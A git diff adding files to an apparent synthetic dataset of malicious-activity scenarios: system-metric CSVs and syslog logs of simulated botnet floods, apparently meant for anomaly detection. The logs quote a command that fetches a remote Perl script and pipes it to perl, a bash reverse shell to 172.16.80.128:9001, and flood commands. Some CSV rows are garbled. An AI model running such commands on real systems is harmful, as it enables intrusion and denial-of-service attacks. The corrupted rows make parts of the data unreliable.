DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54437 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34480 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11250 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26311 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40262 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=18961 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53283 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54685 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59869 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31877 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54963 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23779 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19729 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39772 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=16755 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25793 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=30840 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17088 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64687 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39207 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=12780 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41638 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63021 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58807 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=48179 DPT=80 +Aug 16 14:06:35 bot-agent[23499]: Flood finished. Cleaning up child processes. +Aug 16 14:06:40 systemd[1]: Starting Clean php session files... +Aug 16 14:07:05 CRON[1985]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_20.csv b/mali_dataset/scenario_2/mali_2_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..5ba5c3bf36826931494fc35d04947daf2fb37517 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-15T18:00:00Z,15.82,55.12,22.45,2.15,3.88 +2025-09-15T18:00:05Z,19.45,55.43,25.88,1.88,3.45 +2025-09-15T18:00:10Z,14.78,54.98,21.02,2.32,4.01 +2025-09-15T18:00:15Z,18.33,55.76,24.12,2.01,3.76 +2025-09-15T18:00:20Z,20.11,55.99,26.78,2.45,4.32 +2025-09-15T18:00:25Z,16.21,55.21,23.54,2.11,3.98 +2025-09-15T18:00:30Z,17.88,55.65,25.01,2.54,4.21 +2025-09-15T18:00:35Z,15.98,55.32,22.88,1.98,3.81 +2025-09-15T18:00:40Z,19.99,56.01,27.43,2.65,4.55 +2025-09-15T18:00:45Z,17.23,55.54,23.99,2.21,3.99 +2025-09-15T18:00:50Z,16.43,55.71,26.12,2.34,4.11 +2025-09-15T18:00:55Z,19.11,55.87,25.43,2.48,4.43 +2025-09-15T18:01:00Z,16.98,55.43,23.11,2.05,3.87 +2025-09-15T18:01:05Z,20.54,56.12,28.01,2.78,4.76 +2025-09-15T18:01:10Z,18.01,55.76,24.87,2.41,4.21 +2025-09-15T18:01:15Z,17.21,55.54,25.88,2.21,4.03 +2025-09-15T18:01:20Z,21.01,56.32,29.87,2.89,4.98 +2025-09-15T18:01:25Z,15.87,55.12,23.43,2.01,3.91 +2025-09-15T18:01:30Z,18.99,55.98,27.12,2.65,4.65 +2025-09-15T18:01:35Z,17.88,55.65,24.54,2.32,4.12 +2025-09-15T18:01:40Z,20.87,56.43,30.12,2.98,5.11 +2025-09-15T18:01:45Z,16.54,55.32,24.11,2.15,3.99 +2025-09-15T18:01:50Z,18.54,55.88,26.98,2.58,4.58 +2025-09-15T18:01:55Z,17.54,55.67,25.01,2.28,4.08 +2025-09-15T18:02:00Z,17.99,55.91,25.43,10.2,5.15 +2025-09-15T18:02:05Z,99.5,62.1,4.2,1.21,1602.88 +2025-09-15T18:02:10Z,99.8,62.5,3.8,1.25,1625.43 +2025-09-15T18:02:15Z,99.6,62.8,4.5,1.38,1622.11 +2025-09-15T18:02:20Z,99.2,62.9,4.0,1.19,1618.23 +2025-09-15T18:02:25Z,99.7,62.6,4.3,1.33,1628.99 +2025-09-15T18:02:30Z,99.3,62.7,4.1,1.41,1612.01 +2025-09-15T18:02:35Z,99.9,63.1,4.8,1.26,1625.32 +2025-09-15T18:02:40Z,99.1,62.8,3.9,1.35,1615.98 +2025-09-15T18:02:45Z,99.5,63.0,4.4,1.36,1621.45 +2025-09-15T18:02:50Z,99.8,62.5,4.2,1.23,1627.88 +2025-09-15T18:02:55Z,100.0,63.2,5.0,1.39,1619.01 +2025-09-15T18:03:00Z,99.2,62.7,3.7,1.28,1614.21 +2025-09-15T18:03:05Z,99.7,62.9,4.6,1.34,1623.88 +2025-09-15T18:03:10Z,99.9,63.3,4.1,1.21,1611.23 +2025-09-15T18:03:15Z,99.6,62.8,4.3,1.36,1620.11 +2025-09-15T18:03:20Z,99.4,63.0,4.7,1.30,1626.98 +2025-09-15T18:03:25Z,99.8,62.6,4.0,1.24,1617.34 +2025-09-15T18:03:30Z,99.1,62.7,4.2,1.31,1613.99 +2025-09-15T18:03:35Z,99.5,63.1,4.9,1.40,1622.01 +2025-09-15T18:03:40Z,99.9,63.4,4.2,1.25,1628.32 +2025-09-15T18:03:45Z,100.0,62.9,3.6,1.35,1610.11 +2025-09-15T18:03:50Z,99.2,62.7,4.6,1.31,1619.88 +2025-09-15T18:03:55Z,99.7,63.2,5.1,1.43,1624.01 +2025-09-15T18:04:00Z,99.9,62.8,3.9,1.22,1616.21 +2025-09-15T18:04:05Z,99.6,63.0,4.4,1.36,1621.99 +2025-09-15T18:04:10Z,99.4,63.3,4.0,1.29,1618.11 +2025-09-15T18:04:15Z,99.8,62.9,4.3,1.38,1623.54 +2025-09-15T18:04:20Z,99.1,63.1,4.8,1.20,1612.99 +2025-09-15T18:04:25Z,99.5,62.7,4.2,1.33,1620.43 +2025-09-15T18:04:30Z,99.9,63.4,4.7,1.42,1625.88 +2025-09-15T18:04:35Z,100.0,63.0,3.7,1.26,1615.01 +2025-09-15T18:04:40Z,99.2,62.8,4.2,1.34,1619.11 +2025-09-15T18:04:45Z,99.7,63.3,5.0,1.37,1627.01 +2025-09-15T18:04:50Z,99.9,62.9,4.1,1.21,1611.88 +2025-09-15T18:04:55Z,99.6,63.1,4.5,1.36,1622.34 +2025-09-15T18:05:00Z,99.4,63.5,4.3,1.28,1617.98 +2025-09-15T18:05:05Z,99.8,63.0,4.8,1.41,1624.11 +2025-09-15T18:05:10Z,99.1,63.2,3.9,1.24,1613.01 +2025-09-15T18:05:15Z,99.5,62.8,4.4,1.35,1621.88 +2025-09-15T18:05:20Z,99.9,63.4,4.9,1.43,1626.43 +2025-09-15T18:05:25Z,100.0,63.1,4.0,1.23,1614.99 +2025-09-15T18:05:30Z,99.2,62.9,4.2,1.30,1620.12 +2025-09-15T18:05:35Z,99.7,63.3,5.1,1.36,1628.01 +2025-09-15T18:05:40Z,99.9,63.0,4.1,1.25,1612.21 +2025-09-15T18:05:45Z,99.6,63.2,4.5,1.39,1619.99 +2025-09-15T18:05:50Z,99.4,62.7,4.2,1.29,1617.01 +2025-09-15T18:05:55Z,99.8,63.4,4.7,1.42,1623.88 +2 toning025-09-15T18:06:00Z,99.1,62.9,3.7,1.27,1614.11 +2025-09-15T18:06:05Z,99.5,63.1,4.4,1.34,1621.01 +2025-09-15T18:06:10Z,99.9,63.5,4.9,1.44,1625.99 +2025-09-15T18:06:15Z,100.0,63.0,3.9,1.23,1611.99 +2025-09-15T18:06:20Z,99.2,63.2,4.3,1.32,1620.01 +2025-09-15T18:06:25Z,99.7,63.6,4.8,1.38,1627.88 +2025-09-15T18:06:30Z,99.9,63.1,4.0,1.26,1613.21 +2025-09-15T18:06:35Z,99.6,63.3,4.4,1.37,1622.88 +2025-09-15T18:06:40Z,99.4,62.8,4.7,1.43,1626.11 +2025-09-15T18:06:45Z,99.8,63.4,3.8,1.21,1612.01 +2025-09-15T18:06:50Z,99.1,62.9,4.5,1.40,1619.65 +2025-09-15T18:06:55Z,99.5,63.5,4.1,1.36,1617.43 +2025-09-15T18:07:00Z,99.9,63.1,4.6,1.45,1624.12 +2025-09-15T18:07:05Z,100.0,62.7,3.6,1.38,1610.98 +2025-09-15T18:07:10Z,99.2,63.2,4.3,1.33,1618.99 +2025-09-15T18:07:15Z,99.7,63.6,4.8,1.46,1625.43 +2025-09-15T18:07:20Z,99.9,63.2,4.0,1.30,1614.11 +2025-09-15T18:07:25Z,99.6,63.4,4.4,1.41,1621.01 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_20.log b/mali_dataset/scenario_2/mali_2_20.log new file mode 100644 index 0000000000000000000000000000000000000000..067a7154f357aea61791a600042542c1c9c6df09 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_20.log @@ -0,0 +1,26 @@ +Sep 15 18:00:00 systemd[1]: Started Daily apt upgrade and clean activities. +Sep 15 18:00:15 CRON[61011]: (root) CMD ( /usr/local/rtm/bin/rtm 22 > /dev/null 2>&1 ) +Sep 15 18:00:45 monit[1122]: 'system' service restarted +Sep 15 18:01:15 CRON[61025]: (root) CMD ( /usr/local/rtm/bin/rtm 22 > /dev/null 2>&1 ) +Sep 15 18:01:45 systemd[1]: Starting Daily man-db regeneration... +Sep 15 18:02:00 perl[61038]: (root) CMD (wget -O - -q http://10.20.30.40/p.pl | perl) +Sep 15 18:02:04 flood-daemon[61042]: Daemon initialized successfully. PID: 61042. +Sep 15 18:02:05 flood-daemon[61042]: Command received: attack 203.0.113.88:443 method=HTTP_GET duration=300 +Sep 15 18:02:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=45123 DPT=443 +Sep 15 18:02:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=45124 DPT=443 +Sep 15 18:02:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=59187 DPT=443 +Sep 15 18:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=34214 DPT=443 +Sep 15 18:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=50872 DPT=443 +Sep 15 18:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=61123 DPT=443 +Sep 15 18:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=38890 DPT=443 +Sep 15 18:03:50 nginx[1532]: 2025/09/15 18:03:50 [alert] 1532#1532: *3128 worker process 1535 exited on signal 9 +Sep 15 18:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=52234 DPT=443 +Sep 15 18:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=43345 DPT=443 +Sep 15 18:04:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=57789 DPT=443 +Sep 15 18:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=49901 DPT=443 +Sep 15 18:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=35567 DPT=443 +Sep 15 18:05:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=54210 DPT=443 +Sep 15 18:06:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=42233 DPT=443 +Sep 15 18:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=46678 DPT=443 +Sep 15 18:06:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=60012 DPT=443 +Sep 15 18:07:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=192.168.1.100 DST=203.0.113.88 PROTO=TCP SPT=38891 DPT=443 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_21.csv b/mali_dataset/scenario_2/mali_2_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..e220605534dda5ce363378bf6863bed0dd49dd24 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-16T05:30:00Z,8.54,40.21,25.12,0.87,1.97 +2025-09-16T05:30:05Z,12.85,39.91,33.48,0.44,1.54 +2025-09-16T05:30:10Z,7.32,41.71,30.2,0.86,0.91 +2025-09-16T05:30:15Z,11.08,40.32,25.67,0.78,1.1 +2025-09-16T05:30:20Z,13.24,39.58,31.86,0.92,1.85 +2025-09-16T05:30:25Z,6.32,40.11,28.39,0.9,1.26 +2025-09-16T05:30:30Z,9.78,40.82,30.19,0.95,1.6 +2025-09-16T05:30:35Z,8.29,41.03,26.73,0.52,1.23 +2025-09-16T05:30:40Z,10.45,41.15,34.01,1.01,2.01 +2025-09-16T05:30:45Z,9.98,40.65,22.19,0.68,1.88 +2025-09-16T05:30:50Z,7.87,41.33,31.23,0.77,1.41 +2025-09-16T05:30:55Z,12.61,40.51,29.47,0.83,1.77 +2025-09-16T05:31:00Z,9.44,39.88,25.33,0.49,1.18 +2025-09-16T05:31:05Z,8.92,41.24,33.41,0.98,1.94 +2025-09-16T05:31:10Z,11.63,40.39,21.94,1.05,1.56 +2025-09-16T05:31:15Z,7.11,39.67,30.82,0.55,1.03 +2025-09-16T05:31:20Z,10.88,41.52,28.81,0.89,1.99 +2025-09-16T05:31:25Z,13.02,40.17,26.54,0.73,1.49 +2025-09-16T05:31:30Z,6.69,41.09,32.41,0.64,1.83 +2025-09-16T05:31:35Z,9.33,40.46,24.18,0.93,1.34 +2025-09-16T05:31:40Z,11.21,41.81,29.99,1.11,2.12 +2025-09-16T05:31:45Z,8.47,40.23,27.34,0.58,1.16 +2025-09-16T05:31:50Z,9.59,39.85,31.56,0.81,1.67 +2025-09-16T05:31:55Z,10.75,41.11,22.88,0.69,1.45 +2025-09-16T05:32:00Z,10.83,41.63,24.71,7.95,3.12 +2025-09-16T05:32:05Z,98.8,48.4,3.1,0.92,1421.34 +2025-09-16T05:32:10Z,99.3,48.8,2.5,0.88,1435.92 +2025-09-16T05:32:15Z,99.6,49.1,3.5,1.05,1432.88 +2025-09-16T05:32:20Z,99.0,49.3,2.8,0.85,1428.51 +2025-09-16T05:32:25Z,99.2,49.0,3.2,0.95,1438.43 +2025-09-16T05:32:30Z,98.9,48.9,2.9,1.08,1422.66 +2025-09-16T05:32:35Z,99.5,49.5,3.6,0.89,1435.71 +2025-09-16T05:32:40Z,99.1,49.2,2.7,0.98,1426.82 +2-09-16T05:32:45Z,98.8,49.4,3.3,1.02,1431.49 +2025-09-16T05:32:50Z,99.4,48.8,3.0,0.87,1437.05 +2025-09-16T05:32:55Z,99.7,49.6,3.8,1.03,1429.23 +2025-09-16T05:33:00Z,99.0,49.1,2.6,0.91,1424.17 +2025-09-16T05:33:05Z,99.3,49.3,3.4,0.97,1433.59 +2025-09-16T05:33:10Z,99.6,49.7,2.9,0.86,1421.94 +2025-09-16T05:33:15Z,99.2,49.2,3.1,1.01,1430.76 +2025-09-16T05:33:20Z,98.9,49.4,3.5,0.93,1436.33 +2025-09-16T05:33:25Z,99.5,49.0,2.8,0.89,1427.61 +2025-09-16T05:33:30Z,99.1,48.9,3.2,0.96,1423.87 +2025-09-16T05:33:35Z,98.8,49.5,3.7,1.04,1432.14 +2025-09-16T05:33:40Z,99.4,49.8,3.0,0.88,1438.21 +2025-09-16T05:33:45Z,99.7,49.3,2.5,0.99,1420.42 +2025-09-16T05:33:50Z,99.0,49.1,3.4,0.94,1429.95 +2025-09-16T05:33:55Z,99.3,49.6,3.9,1.06,1434.88 +2025-09-16T05:34:00Z,99.6,49.2,2.7,0.87,1426.73 +2025-09-16T05:34:05Z,99.2,49.4,3.3,1.00,1431.37 +2025-09-16T05:34:10Z,98.9,49.7,2.8,0.92,1428.04 +2025-09-16T05:34:15Z,99.5,49.3,3.1,1.03,1433.11 +2025-09-16T05:34:20Z,99.1,49.5,3.6,0.85,1422.99 +2025-09-16T05:34:25Z,98.8,49.1,3.0,0.97,1430.46 +2025-09-16T05:34:30Z,99.4,49.8,3.5,1.05,1435.54 +2025-09-16T05:34:35Z,99.7,49.4,2.6,0.89,1425.81 +2025-09-16T05:34:40Z,99.0,49.2,3.2,0.98,1429.58 +2025-09-16T05:34:45Z,99.3,49.7,3.8,1.02,1437.32 +2025-09-16T05:34:50Z,99.6,49.3,2.9,0.86,1421.67 +2025-09-16T05:34:55Z,99.2,49.5,3.4,1.00,1432.29 +2025-09-16T05:35:00Z,98.9,49.9,3.1,0.91,1427.52 +2025-09-16T05:35:05Z,99.5,49.4,3.6,1.04,1434.76 +2025-09-16T05:35:10Z,99.1,49.6,2.7,0.88,1423.43 +2025-09-16T05:35:15Z,98.8,49.2,3.3,0.99,1431.84 +2025-09-16T05:35:20Z,99.4,49.8,3.7,1.06,1436.67 +2025-09-16T05:35:25Z,99.7,49.5,2.8,0.87,1424.95 +2025-09-16T05:35:30Z,99.0,49.3,3.2,0.96,1430.11 +2025-09-16T05:35:35Z,99.3,49.7,3.9,1.01,1438.01 +2025-09-16T05:35:40Z,99.6,49.4,2.9,0.89,1422.58 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+2025-09-16T05:37:25Z,99.2,49.5,3.3,0.97,1431.97 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_21.log b/mali_dataset/scenario_2/mali_2_21.log new file mode 100644 index 0000000000000000000000000000000000000000..8f39af8ddec9917364c831852e3954f604ef7d57 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_21.log @@ -0,0 +1,28 @@ +Sep 16 05:30:00 CRON[72331]: (root) CMD (LANG=C LC_ALL=C /usr/share/man/cron.d/man-db) +Sep 16 05:30:10 systemd[1]: Starting Daily rotation of log files... +Sep 16 05:30:30 logrotate[72345]: Reading state from /var/lib/logrotate/status +Sep 16 05:31:00 systemd[1]: logrotate.service: Succeeded. +Sep 16 05:31:30 CRON[72358]: (root) CMD (LANG=C LC_ALL=C /usr/share/man/cron.d/man-db) +Sep 16 05:32:00 bash[72369]: (root) CMD (/bin/bash -c "exec /bin/bash -i >& /dev/tcp/172.16.80.128/9001 0>&1") +Sep 16 05:32:03 reverse-shell[72370]: Connection established to 172.16.80.128 +Sep 16 05:32:05 reverse-shell[72370]: Spawning UDP flood worker. Target: 198.51.100.150:123 +Sep 16 05:32:05 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=51238 DPT=123 +Sep 16 05:32:05 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=51239 DPT=123 +Sep 16 05:32:15 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=48291 DPT=123 +Sep 16 05:32:30 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=33281 DPT=123 +Sep 16 05:32:45 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=49882 DPT=123 +Sep 16 05:33:00 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=60123 DPT=123 +Sep 16 05:33:15 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=37890 DPT=123 +Sep 16 05:33:35 httpd[1821]: [core:error] [pid 1821:tid 140081341232896] (11)Resource temporarily unavailable: AH00023: Couldn't create the rewrite-map mutex +Sep 16 05:33:45 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=51234 DPT=123 +Sep 16 05:34:05 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=42345 DPT=123 +Sep 16 05:34:20 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=56789 DPT=123 +Sep 16 05:34:40 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=48901 DPT=123 +Sep 16 05:35:00 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=34567 DPT=123 +Sep 16 05:35:25 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=53210 DPT=123 +Sep 16 05:35:45 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=41233 DPT=123 +Sep 16 05:36:05 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=45678 DPT=123 +Sep 16 05:36:20 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=59012 DPT=123 +Sep 16 05:36:40 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=37891 DPT=123 +Sep 16 05:37:00 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=51235 DPT=123 +Sep 16 05:37:20 kernel: [IPTABLES] OUTBOUND_UDP_FLOOD: SRC=10.10.20.30 DST=198.51.100.150 PROTO=UDP SPT=42346 DPT=123 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_22.csv b/mali_dataset/scenario_2/mali_2_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..36dff38432f0872a45d079c0b9b71b4d15def2eb --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-17T12:00:00Z,22.15,62.33,51.22,3.12,4.87 +2025-09-17T12:00:05Z,25.88,62.78,55.12,2.88,4.55 +2025-09-17T12:00:10Z,20.12,61.99,48.78,3.45,5.01 +2025-09-17T12:00:15Z,24.54,62.65,53.22,3.01,4.78 +2025-09-17T12:00:20Z,27.01,63.01,57.88,3.65,5.43 +2025-09-17T12:00:25Z,21.87,62.12,50.11,3.21,4.99 +2025-09-17T12:00:30Z,23.99,62.54,54.88,3.78,5.32 +2025-09-17T12:00:35Z,22.11,62.21,49.02,2.98,4.81 +2025-09-17T12:00:40Z,26.54,63.12,58.99,3.88,5.65 +2025-09-17T12:00:45Z,23.54,62.43,51.88,3.32,5.01 +2025-09-17T12:00:50Z,22.98,62.65,55.43,3.54,5.12 +2025-09-17T12:00:55Z,25.43,62.87,54.01,3.67,5.41 +2025-09-17T12:01:00Z,23.11,62.32,50.88,3.15,4.89 +2025-09-17T12:01:05Z,27.88,63.21,59.99,3.98,5.78 +2025-09-17T12:01:10Z,24.87,62.76,52.12,3.58,5.21 +2025-09-17T12:01:15Z,23.88,62.54,54.99,3.41,5.03 +2025-09-17T12:01:20Z,28.99,63.43,61.01,4.12,5.99 +2025-09-17T12:01:25Z,21.99,62.01,51.21,3.08,4.92 +2025-09-17T12:01:30Z,25.98,62.98,57.12,3.87,5.64 +2025-09-17T12:01:35Z,24.12,62.65,52.88,3.45,5.12 +2025-09-17T12:01:40Z,28.12,63.54,62.11,4.21,6.11 +2025-09-17T12:01:45Z,22.88,62.21,51.99,3.21,4.98 +2025-09-17T12:01:50Z,25.11,62.87,56.88,3.76,5.58 +2025-09-17T12:01:55Z,24.01,62.67,53.01,3.38,5.08 +2025-09-17T12:02:00Z,24.54,62.98,53.88,12.1,6.15 +2025-09-17T12:02:05Z,97.2,68.1,6.2,1.51,1101.99 +2025-09-17T12:02:10Z,97.5,68.5,5.8,1.55,1124.54 +2025-09-17T12:02:15Z,97.3,68.8,6.5,1.68,1121.22 +2025-09-17T12:02:20Z,96.9,68.9,6.0,1.49,1117.88 +2025-09-17T12:02:25Z,97.4,68.6,6.3,1.63,1127.11 +2025-09-17T12:02:30Z,97.0,68.7,6.1,1.71,1111.99 +2025-09-17T12:02:35Z,97.8,69.1,6.8,1.56,1124.88 +2025-09-17T12:02:40Z,96.8,68.8,5.9,1.65,1114.11 +2025-09-17T12:02:45Z,97.2,69.0,6.4,1.66,1120.32 +2025-09-17T12:02:50Z,97.9,68.5,6.2,1.53,1126.98 +2025-09-17T12:02:55Z,98.1,69.2,7.0,1.69,1118.88 +2025-09-17T12:03:00Z,96.9,68.7,5.7,1.58,1113.88 +2025-09-17T12:03:05Z,97.5,68.9,6.6,1.64,1122.99 +2025-09-17T12:03:10Z,98.0,69.3,6.1,1.51,1110.88 +2025-09-17T12:03:15Z,97.4,68.8,6.3,1.66,1119.99 +2025-09-17T12:03:20Z,97.1,69.0,6.7,1.60,1125.88 +2025-09-17T12:03:25Z,97.8,68.6,6.0,1.54,1116.99 +2025-09-17T12:03:30Z,96.8,68.7,6.2,1.61,1112.88 +2025-09-17T12:03:35Z,97.3,69.1,6.9,1.70,1121.88 +2025-09-17T12:03:40Z,97.9,69.4,6.2,1.55,1127.99 +2025-09-17T12:03:45Z,98.2,68.9,5.6,1.65,1109.99 +2025-09-17T12:03:50Z,96.9,68.7,6.6,1.61,1118.99 +2025-09-17T12:03:55Z,97.5,69.2,7.1,1.73,1123.88 +2025-09-17T12:04:00Z,98.0,68.8,5.9,1.52,1115.88 +2025-09-17T12:04:05Z,97.4,69.0,6.4,1.66,1120.99 +2025-09-17T12:04:10Z,97.1,69.3,6.0,1.59,1117.99 +2025-09-17T12:04:15Z,97.8,68.9,6.3,1.68,1122.99 +2025-09-17T12:04:20Z,96.8,69.1,6.8,1.50,1111.99 +2025-09-17T12:04:25Z,97.2,68.7,6.2,1.63,1119.99 +2025-09-17T12:04:30Z,97.9,69.4,6.7,1.72,1124.99 +2025-09-17T12:04:35Z,98.2,69.0,5.7,1.56,1114.99 +2025-09-17T12:04:40Z,96.9,68.8,6.2,1.64,1118.99 +2025-09-17T12:04:45Z,97.5,69.3,7.0,1.67,1126.99 +2025-09-17T12:04:50Z,98.0,68.9,6.1,1.51,1110.99 